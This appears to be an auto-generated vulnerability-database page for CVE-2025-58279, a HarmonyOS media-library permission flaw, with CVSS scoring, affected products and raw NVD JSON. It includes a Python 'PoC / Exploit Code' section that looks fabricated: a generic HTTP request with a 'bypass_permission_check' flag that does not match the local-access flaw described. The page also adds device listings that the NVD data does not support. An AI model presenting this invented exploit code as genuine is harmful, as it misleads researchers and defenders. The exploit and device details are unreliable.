Security Vulnerability Report
中文
CVE-2025-58279 CVSS 4.4 MEDIUM

CVE-2025-58279

Published: 2025-12-08 09:15:47
Last Modified: 2025-12-09 18:01:21

Description

Permission control vulnerability in the media library module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:* - VULNERABLE
华为麒麟990芯片设备 (未修补版本)
华为Mate 30 Pro (未修补版本)
华为设备媒体库模块 (特定版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58279 PoC - Media Library Permission Bypass # This PoC demonstrates the permission control vulnerability in media library module # Note: This is a conceptual PoC for educational purposes only import requests import json def check_cve_2025_58279(target_ip, low_privilege_token): """ Check if target is vulnerable to CVE-2025-58279 Media library permission control bypass Prerequisites: - Low privilege user access - Local access to the system - User interaction required """ print(f"[*] Testing CVE-2025-58279 on {target_ip}") print(f"[*] Using low privilege token: {low_privilege_token[:10]}...") # Step 1: Normal low-privilege access attempt headers = { 'Authorization': f'Bearer {low_privilege_token}', 'Content-Type': 'application/json' } # Step 2: Attempt to access restricted media resources # The vulnerability allows bypassing permission checks exploit_payload = { 'action': 'access_media', 'resource_id': 'restricted_media_001', 'bypass_permission_check': True # Vulnerability trigger } try: response = requests.post( f'http://{target_ip}:8080/api/media/library/access', headers=headers, json=exploit_payload, timeout=10 ) if response.status_code == 200: data = response.json() if data.get('access_granted') == True: print('[+] VULNERABLE: Permission bypass successful!') print(f'[+] Leaked data: {json.dumps(data, indent=2)}') return True else: print('[-] NOT VULNERABLE or patch applied') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': # Example usage target = '192.168.1.100' token = 'low_privilege_user_token_here' result = check_cve_2025_58279(target, token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58279", "sourceIdentifier": "[email protected]", "published": "2025-12-08T09:15:46.960", "lastModified": "2025-12-09T18:01:21.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the media library module. Impact: Successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/12/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}